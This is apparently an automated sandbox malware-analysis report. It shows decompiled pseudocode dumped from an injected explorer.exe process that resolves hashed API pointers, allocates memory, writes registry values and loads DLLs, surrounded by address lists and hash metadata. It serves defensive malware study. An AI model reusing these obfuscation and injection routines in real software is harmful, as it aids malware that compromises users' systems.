                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x230)) = E010F1200(0, 2, 0xc73378d6);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x234)) = E010F1200(0, 2, 0x18903299);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x238)) = E010F1200(0, 2, 0x316d29bd);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x23c)) = E010F1200(0, 2, 0x4b37f1e8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x240)) = E010F1200(0, 2, 0xada2afc2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x244)) = E010F1200(0, 2, 0x7695d1cc);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x248)) = E010F1200(0, 2, 0x72135b03);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x24c)) = E010F1200(0, 2, 0xb70a9198);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x250)) = E010F1200(0, 2, 0xc66a6ca4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x254)) = E010F1200(0, 2, 0xf16e8f5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x258)) = E010F1200(0, 2, 0x120ce88f);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x25c)) = E010F1200(0, 2, 0x7075cfdf);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x260)) = E010F1200(0, 2, 0x5c969bf4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x264)) = E010F1200(0, 2, 0xa8403ace);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x268)) = E010F1200(0, 2, 0xeb0cfd03);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x26c)) = E010F1200(0, 2, 0xedfa2583);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x270)) = E010F1200(0, 2, 0x5a01bfa0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x274)) = E010F1200(0, 2, 0x886e73fb);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x278)) = E010F1200(0, 2, 0x509d74c2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x27c)) = E010F1200(0, 2, 0x9c2d8fb5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x280)) = E010F1200(0, 2, 0x7493f047);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x284)) = E010F1200(0, 2, 0xdf39a8ec);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x288)) = E010F1200(0, 2, 0xc6e38110);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x28c)) = E010F1200(0, 2, 0x61692ef);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x290)) = E010F1200(0, 2, 0xa64c1e0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x294)) = E010F1200(0, 2, 0xc5c64bc2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x298)) = E010F1200(0, 2, 0xdbe9fc8b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x29c)) = E010F1200(0, 3, 0xd3b22721);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x111fc04 + 0x2a0)) = E010F1200(0, 3, 0x5c64ea2);
                                                                                                                                                                                                                                                                                                      							if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2f0)) = E010F1200(0, 6, 0x7a0a041b);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2f4)) = E010F1200(0, 6, 0x581db250);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2f8)) = E010F1200(0, 6, 0xc522bce);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2fc)) = E010F1200(0, 6, 0x9c343b9a);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2a4)) = E010F1200(0, 4, 0xda16a83d);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2a8)) = E010F1200(0, 4, 0x2ec21d6c);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2ac)) = E010F1200(0, 4, 0xc24fa5f4);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2b0)) = E010F1200(0, 4, 0x369b10a5);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2b4)) = E010F1200(0, 4, 0x16505e0);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2b8)) = E010F1200(0, 4, 0xf5b1b0b1);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2bc)) = E010F1200(0, 4, 0x447d086b);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2c0)) = E010F1200(0, 4, 0xb0a9bd3a);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2c4)) = E010F1200(0, 4, 0xff00b1f6);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2c8)) = E010F1200(0, 4, 0xbd404a7);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2cc)) = E010F1200(0, 4, 0x6cc098f5);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2d0)) = E010F1200(0, 4, 0xe5191d24);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2ec)) = E010F1200(0, 5, 0xb9b70c1e);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2d4)) = E010F1200(0, 4, 0x16438a20);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2d8)) = E010F1200(0, 4, 0x5e6d02fa);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2dc)) = E010F1200(0, 4, 0x39dd748d);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2e0)) = E010F1200(0, 4, 0x87881ece);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2e4)) = E010F1200(0, 4, 0x4a5abcee);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x2e8)) = E010F1200(0, 4, 0xbe8e09bf);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x300)) = E010F1200(0, 7, 0xaed34be);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x304)) = E010F1200(0, 7, 0x224a2dc8);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x308)) = E010F1200(0, 7, 0xd69e9899);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *0x111fc04 + 0x30c)) = E010F1200(0, 7, 0xabe649e6);
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E010FA880(); // executed
                                                                                                                                                                                                                                                                                                      							_t493 = E010F4660(); // executed
                                                                                                                                                                                                                                                                                                      							if(_t493 != 0) {
                                                                                                                                                                                                                                                                                                      								_v16 = 1;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}








                                                                                                                                                                                                                                                                                                      0x010f16f6
                                                                                                                                                                                                                                                                                                      0x010f170a
                                                                                                                                                                                                                                                                                                      0x010f1711
                                                                                                                                                                                                                                                                                                      0x010f1717
                                                                                                                                                                                                                                                                                                      0x010f1732
                                                                                                                                                                                                                                                                                                      0x010f1739
                                                                                                                                                                                                                                                                                                      0x010f173f
                                                                                                                                                                                                                                                                                                      0x010f175f
                                                                                                                                                                                                                                                                                                      0x010f177c
                                                                                                                                                                                                                                                                                                      0x010f1795
                                                                                                                                                                                                                                                                                                      0x010f17af
                                                                                                                                                                                                                                                                                                      0x010f17bb
                                                                                                                                                                                                                                                                                                      0x010f17d5
                                                                                                                                                                                                                                                                                                      0x010f17ef
                                                                                                                                                                                                                                                                                                      0x010f1809
                                                                                                                                                                                                                                                                                                      0x010f1823
                                                                                                                                                                                                                                                                                                      0x010f183d
                                                                                                                                                                                                                                                                                                      0x010f1857
                                                                                                                                                                                                                                                                                                      0x010f1871
                                                                                                                                                                                                                                                                                                      0x010f188b
                                                                                                                                                                                                                                                                                                      0x010f18a5
                                                                                                                                                                                                                                                                                                      0x010f18bf
                                                                                                                                                                                                                                                                                                      0x010f18d9
                                                                                                                                                                                                                                                                                                      0x010f18f3
                                                                                                                                                                                                                                                                                                      0x010f190d
                                                                                                                                                                                                                                                                                                      0x010f1927
                                                                                                                                                                                                                                                                                                      0x010f1941
                                                                                                                                                                                                                                                                                                      0x010f195b
                                                                                                                                                                                                                                                                                                      0x010f1975
                                                                                                                                                                                                                                                                                                      0x010f198f
                                                                                                                                                                                                                                                                                                      0x010f19a9
                                                                                                                                                                                                                                                                                                      0x010f19c3
                                                                                                                                                                                                                                                                                                      0x010f19dd
                                                                                                                                                                                                                                                                                                      0x010f19f7
                                                                                                                                                                                                                                                                                                      0x010f1a11
                                                                                                                                                                                                                                                                                                      0x010f1a2b
                                                                                                                                                                                                                                                                                                      0x010f1a45
                                                                                                                                                                                                                                                                                                      0x010f1a5f
                                                                                                                                                                                                                                                                                                      0x010f1a79
                                                                                                                                                                                                                                                                                                      0x010f1a93
                                                                                                                                                                                                                                                                                                      0x010f1aad
                                                                                                                                                                                                                                                                                                      0x010f1aca
                                                                                                                                                                                                                                                                                                      0x010f1ae7
                                                                                                                                                                                                                                                                                                      0x010f1b04
                                                                                                                                                                                                                                                                                                      0x010f1b21
                                                                                                                                                                                                                                                                                                      0x010f1b3e
                                                                                                                                                                                                                                                                                                      0x010f1b5b
                                                                                                                                                                                                                                                                                                      0x010f1b78
                                                                                                                                                                                                                                                                                                      0x010f1b95
                                                                                                                                                                                                                                                                                                      0x010f1bb2
                                                                                                                                                                                                                                                                                                      0x010f1bcf
                                                                                                                                                                                                                                                                                                      0x010f1bec
                                                                                                                                                                                                                                                                                                      0x010f1c09
                                                                                                                                                                                                                                                                                                      0x010f1c26
                                                                                                                                                                                                                                                                                                      0x010f1c43
                                                                                                                                                                                                                                                                                                      0x010f1c60
                                                                                                                                                                                                                                                                                                      0x010f1c7d
                                                                                                                                                                                                                                                                                                      0x010f1c9a
                                                                                                                                                                                                                                                                                                      0x010f1cb7
                                                                                                                                                                                                                                                                                                      0x010f1cd4
                                                                                                                                                                                                                                                                                                      0x010f1cf1
                                                                                                                                                                                                                                                                                                      0x010f1d0e
                                                                                                                                                                                                                                                                                                      0x010f1d2b
                                                                                                                                                                                                                                                                                                      0x010f1d48
                                                                                                                                                                                                                                                                                                      0x010f1d65
                                                                                                                                                                                                                                                                                                      0x010f1d82
                                                                                                                                                                                                                                                                                                      0x010f1d9f
                                                                                                                                                                                                                                                                                                      0x010f1dbc
                                                                                                                                                                                                                                                                                                      0x010f1dd9
                                                                                                                                                                                                                                                                                                      0x010f1df6
                                                                                                                                                                                                                                                                                                      0x010f1e13
                                                                                                                                                                                                                                                                                                      0x010f1e30
                                                                                                                                                                                                                                                                                                      0x010f1e4d
                                                                                                                                                                                                                                                                                                      0x010f1e6a
                                                                                                                                                                                                                                                                                                      0x010f1e87
                                                                                                                                                                                                                                                                                                      0x010f1ea4
                                                                                                                                                                                                                                                                                                      0x010f1ec1
                                                                                                                                                                                                                                                                                                      0x010f1ede
                                                                                                                                                                                                                                                                                                      0x010f1efb
                                                                                                                                                                                                                                                                                                      0x010f1f18
                                                                                                                                                                                                                                                                                                      0x010f1f35
                                                                                                                                                                                                                                                                                                      0x010f1f52
                                                                                                                                                                                                                                                                                                      0x010f1f6f
                                                                                                                                                                                                                                                                                                      0x010f1f8c
                                                                                                                                                                                                                                                                                                      0x010f1fa9
                                                                                                                                                                                                                                                                                                      0x010f1fc6
                                                                                                                                                                                                                                                                                                      0x010f1fe3
                                                                                                                                                                                                                                                                                                      0x010f2000
                                                                                                                                                                                                                                                                                                      0x010f201d
                                                                                                                                                                                                                                                                                                      0x010f203a
                                                                                                                                                                                                                                                                                                      0x010f2057
                                                                                                                                                                                                                                                                                                      0x010f2074
                                                                                                                                                                                                                                                                                                      0x010f2091
                                                                                                                                                                                                                                                                                                      0x010f20ae
                                                                                                                                                                                                                                                                                                      0x010f20cb
                                                                                                                                                                                                                                                                                                      0x010f20e8
                                                                                                                                                                                                                                                                                                      0x010f2105
                                                                                                                                                                                                                                                                                                      0x010f2122
                                                                                                                                                                                                                                                                                                      0x010f213f
                                                                                                                                                                                                                                                                                                      0x010f215c
                                                                                                                                                                                                                                                                                                      0x010f2179
                                                                                                                                                                                                                                                                                                      0x010f2196
                                                                                                                                                                                                                                                                                                      0x010f21b3
                                                                                                                                                                                                                                                                                                      0x010f21d0
                                                                                                                                                                                                                                                                                                      0x010f21ed
                                                                                                                                                                                                                                                                                                      0x010f220a
                                                                                                                                                                                                                                                                                                      0x010f2227
                                                                                                                                                                                                                                                                                                      0x010f2244
                                                                                                                                                                                                                                                                                                      0x010f2261
                                                                                                                                                                                                                                                                                                      0x010f227e
                                                                                                                                                                                                                                                                                                      0x010f229b
                                                                                                                                                                                                                                                                                                      0x010f22b8
                                                                                                                                                                                                                                                                                                      0x010f22d5
                                                                                                                                                                                                                                                                                                      0x010f22f2
                                                                                                                                                                                                                                                                                                      0x010f230f
                                                                                                                                                                                                                                                                                                      0x010f232c
                                                                                                                                                                                                                                                                                                      0x010f2349
                                                                                                                                                                                                                                                                                                      0x010f2366
                                                                                                                                                                                                                                                                                                      0x010f2383
                                                                                                                                                                                                                                                                                                      0x010f23a0
                                                                                                                                                                                                                                                                                                      0x010f23bd
                                                                                                                                                                                                                                                                                                      0x010f23da
                                                                                                                                                                                                                                                                                                      0x010f23f7
                                                                                                                                                                                                                                                                                                      0x010f2414
                                                                                                                                                                                                                                                                                                      0x010f2431
                                                                                                                                                                                                                                                                                                      0x010f244e
                                                                                                                                                                                                                                                                                                      0x010f246b
                                                                                                                                                                                                                                                                                                      0x010f2488
                                                                                                                                                                                                                                                                                                      0x010f24a5
                                                                                                                                                                                                                                                                                                      0x010f24c2
                                                                                                                                                                                                                                                                                                      0x010f24df
                                                                                                                                                                                                                                                                                                      0x010f24fc
                                                                                                                                                                                                                                                                                                      0x010f2519
                                                                                                                                                                                                                                                                                                      0x010f2536
                                                                                                                                                                                                                                                                                                      0x010f2553
                                                                                                                                                                                                                                                                                                      0x010f2570
                                                                                                                                                                                                                                                                                                      0x010f258d
                                                                                                                                                                                                                                                                                                      0x010f25aa
                                                                                                                                                                                                                                                                                                      0x010f25c7
                                                                                                                                                                                                                                                                                                      0x010f25e4
                                                                                                                                                                                                                                                                                                      0x010f2601
                                                                                                                                                                                                                                                                                                      0x010f261e
                                                                                                                                                                                                                                                                                                      0x010f263b
                                                                                                                                                                                                                                                                                                      0x010f2658
                                                                                                                                                                                                                                                                                                      0x010f2675
                                                                                                                                                                                                                                                                                                      0x010f2692
                                                                                                                                                                                                                                                                                                      0x010f26af
                                                                                                                                                                                                                                                                                                      0x010f26cc
                                                                                                                                                                                                                                                                                                      0x010f26e9
                                                                                                                                                                                                                                                                                                      0x010f2706
                                                                                                                                                                                                                                                                                                      0x010f2723
                                                                                                                                                                                                                                                                                                      0x010f2740
                                                                                                                                                                                                                                                                                                      0x010f275d
                                                                                                                                                                                                                                                                                                      0x010f277a
                                                                                                                                                                                                                                                                                                      0x010f2797
                                                                                                                                                                                                                                                                                                      0x010f27b4
                                                                                                                                                                                                                                                                                                      0x010f27d1
                                                                                                                                                                                                                                                                                                      0x010f27ee
                                                                                                                                                                                                                                                                                                      0x010f280b
                                                                                                                                                                                                                                                                                                      0x010f2828
                                                                                                                                                                                                                                                                                                      0x010f2845
                                                                                                                                                                                                                                                                                                      0x010f2862
                                                                                                                                                                                                                                                                                                      0x010f287f
                                                                                                                                                                                                                                                                                                      0x010f289c
                                                                                                                                                                                                                                                                                                      0x010f28b9
                                                                                                                                                                                                                                                                                                      0x010f28d6
                                                                                                                                                                                                                                                                                                      0x010f28f3
                                                                                                                                                                                                                                                                                                      0x010f2910
                                                                                                                                                                                                                                                                                                      0x010f292d
                                                                                                                                                                                                                                                                                                      0x010f294a
                                                                                                                                                                                                                                                                                                      0x010f2967
                                                                                                                                                                                                                                                                                                      0x010f2984
                                                                                                                                                                                                                                                                                                      0x010f29a1
                                                                                                                                                                                                                                                                                                      0x010f29be
                                                                                                                                                                                                                                                                                                      0x010f29db
                                                                                                                                                                                                                                                                                                      0x010f29f8
                                                                                                                                                                                                                                                                                                      0x010f2a15
                                                                                                                                                                                                                                                                                                      0x010f2a1f
                                                                                                                                                                                                                                                                                                      0x010f2a3c
                                                                                                                                                                                                                                                                                                      0x010f2a59
                                                                                                                                                                                                                                                                                                      0x010f2a76
                                                                                                                                                                                                                                                                                                      0x010f2a93
                                                                                                                                                                                                                                                                                                      0x010f2ab0
                                                                                                                                                                                                                                                                                                      0x010f2acd
                                                                                                                                                                                                                                                                                                      0x010f2aea
                                                                                                                                                                                                                                                                                                      0x010f2b07
                                                                                                                                                                                                                                                                                                      0x010f2b24
                                                                                                                                                                                                                                                                                                      0x010f2b41
                                                                                                                                                                                                                                                                                                      0x010f2b5e
                                                                                                                                                                                                                                                                                                      0x010f2b7b
                                                                                                                                                                                                                                                                                                      0x010f2b98
                                                                                                                                                                                                                                                                                                      0x010f2bb5
                                                                                                                                                                                                                                                                                                      0x010f2bd2
                                                                                                                                                                                                                                                                                                      0x010f2bef
                                                                                                                                                                                                                                                                                                      0x010f2c0c
                                                                                                                                                                                                                                                                                                      0x010f2c29
                                                                                                                                                                                                                                                                                                      0x010f2c46
                                                                                                                                                                                                                                                                                                      0x010f2c63
                                                                                                                                                                                                                                                                                                      0x010f2c80
                                                                                                                                                                                                                                                                                                      0x010f2c9d
                                                                                                                                                                                                                                                                                                      0x010f2cba
                                                                                                                                                                                                                                                                                                      0x010f2cd7
                                                                                                                                                                                                                                                                                                      0x010f2cf4
                                                                                                                                                                                                                                                                                                      0x010f2d11
                                                                                                                                                                                                                                                                                                      0x010f2d2e
                                                                                                                                                                                                                                                                                                      0x010f2d2e
                                                                                                                                                                                                                                                                                                      0x010f2d34
                                                                                                                                                                                                                                                                                                      0x010f2d39
                                                                                                                                                                                                                                                                                                      0x010f2d40
                                                                                                                                                                                                                                                                                                      0x010f2d42
                                                                                                                                                                                                                                                                                                      0x010f2d42
                                                                                                                                                                                                                                                                                                      0x010f2d40
                                                                                                                                                                                                                                                                                                      0x010f175f
                                                                                                                                                                                                                                                                                                      0x010f1739
                                                                                                                                                                                                                                                                                                      0x010f2d4f

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(000000FF,0111FC04,00000000,00000310,00003000,00000004), ref: 010F175A
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2167126740-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 87c53d60ad5fa7ae2f0256eb07bac24506d81bdb7f8aedb4e61cd8a842a03d09
                                                                                                                                                                                                                                                                                                      • Instruction ID: 44707b1ae5c68c1d3d5e6ead12be951a5e5239b85ae06d885f06b211707e11b1
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 87c53d60ad5fa7ae2f0256eb07bac24506d81bdb7f8aedb4e61cd8a842a03d09
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52C2C4BDA00201EFE304DF60EE82FA9B761AB95309F14417CEE185F389EA725D479B54
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 73%
                                                                                                                                                                                                                                                                                                      			E010FB640(void* _a4, intOrPtr _a8, void* _a12, long _a16, long _a20) {
                                                                                                                                                                                                                                                                                                      				signed int _v5;
                                                                                                                                                                                                                                                                                                      				long _v12;
                                                                                                                                                                                                                                                                                                      				void* _v20;
                                                                                                                                                                                                                                                                                                      				long _t25;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v5 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(_a8);
                                                                                                                                                                                                                                                                                                      					_push( &_v20);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      					E010F16E0();
                                                                                                                                                                                                                                                                                                      					_t25 = NtSetValueKey(_a4,  &_v20, 0, _a20, _a12, _a16); // executed
                                                                                                                                                                                                                                                                                                      					_v12 = _t25;
                                                                                                                                                                                                                                                                                                      					if(_v12 >= 0) {
                                                                                                                                                                                                                                                                                                      						_push(_a4);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x118))))();
                                                                                                                                                                                                                                                                                                      						_v5 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v5 & 0x000000ff;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v5 & 0x000000ff;
                                                                                                                                                                                                                                                                                                      			}







                                                                                                                                                                                                                                                                                                      0x010fb646
                                                                                                                                                                                                                                                                                                      0x010fb64e
                                                                                                                                                                                                                                                                                                      0x010fb659
                                                                                                                                                                                                                                                                                                      0x010fb65d
                                                                                                                                                                                                                                                                                                      0x010fb669
                                                                                                                                                                                                                                                                                                      0x010fb681
                                                                                                                                                                                                                                                                                                      0x010fb68c
                                                                                                                                                                                                                                                                                                      0x010fb68e
                                                                                                                                                                                                                                                                                                      0x010fb695
                                                                                                                                                                                                                                                                                                      0x010fb69a
                                                                                                                                                                                                                                                                                                      0x010fb6a6
                                                                                                                                                                                                                                                                                                      0x010fb6a8
                                                                                                                                                                                                                                                                                                      0x010fb6a8
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010fb6ac
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtSetValueKey.NTDLL(00000000,?,00000000,?,?,?), ref: 010FB68C
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Value
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3702945584-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 7e599dad919b9a20fe7979a54e804cd125e5a72c900b9eee36c51bb57c05a0c3
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0e6f40f801bea560a1247de456dbdb6c850240d6b79c341297e374bf535b114c
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7e599dad919b9a20fe7979a54e804cd125e5a72c900b9eee36c51bb57c05a0c3
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EB012C71504249AFCB04EFA8C885FEE7BB8AF58340F04819CF6489B251DA35A945CBA0
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                      			E010F7F50(intOrPtr _a4, intOrPtr* _a8) {
                                                                                                                                                                                                                                                                                                      				WCHAR* _v8;
                                                                                                                                                                                                                                                                                                      				struct _OBJDIR_INFORMATION _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				struct _EXCEPTION_RECORD _v24;
                                                                                                                                                                                                                                                                                                      				long _t25;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					E010F16E0();
                                                                                                                                                                                                                                                                                                      					_t25 = LdrLoadDll(0, 0,  &_v24,  &_v12); // executed
                                                                                                                                                                                                                                                                                                      					_v16 = _t25;
                                                                                                                                                                                                                                                                                                      					if(_v16 >= 0) {
                                                                                                                                                                                                                                                                                                      						if(_a8 != 0) {
                                                                                                                                                                                                                                                                                                      							 *_a8 = _v12;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v8 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}








                                                                                                                                                                                                                                                                                                      0x010f7f56
                                                                                                                                                                                                                                                                                                      0x010f7f61
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f7f6e
                                                                                                                                                                                                                                                                                                      0x010f7f71
                                                                                                                                                                                                                                                                                                      0x010f7f75
                                                                                                                                                                                                                                                                                                      0x010f7f81
                                                                                                                                                                                                                                                                                                      0x010f7f83
                                                                                                                                                                                                                                                                                                      0x010f7f96
                                                                                                                                                                                                                                                                                                      0x010f7f9e
                                                                                                                                                                                                                                                                                                      0x010f7fa0
                                                                                                                                                                                                                                                                                                      0x010f7fa7
                                                                                                                                                                                                                                                                                                      0x010f7fad
                                                                                                                                                                                                                                                                                                      0x010f7fb5
                                                                                                                                                                                                                                                                                                      0x010f7fb5
                                                                                                                                                                                                                                                                                                      0x010f7fb7
                                                                                                                                                                                                                                                                                                      0x010f7fb7
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f7fbe

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • LdrLoadDll.NTDLL(00000000,00000000,?,00000000), ref: 010F7F9E
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Load
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2234796835-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 0ff14de5afa264c38a3170c2fde925e1bb6047c461a57ba9111adfdde588f527
                                                                                                                                                                                                                                                                                                      • Instruction ID: 3cd2a235b06496a8d820373f68943d92af39e7702db0e7bae6342900ec813f43
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0ff14de5afa264c38a3170c2fde925e1bb6047c461a57ba9111adfdde588f527
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CA01C875900209EFDB14DF98C949BDDBBB4AB44304F208199EA495B690D774AA48CF92
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                      			E010F9510(void* __eax, signed int _a4) {
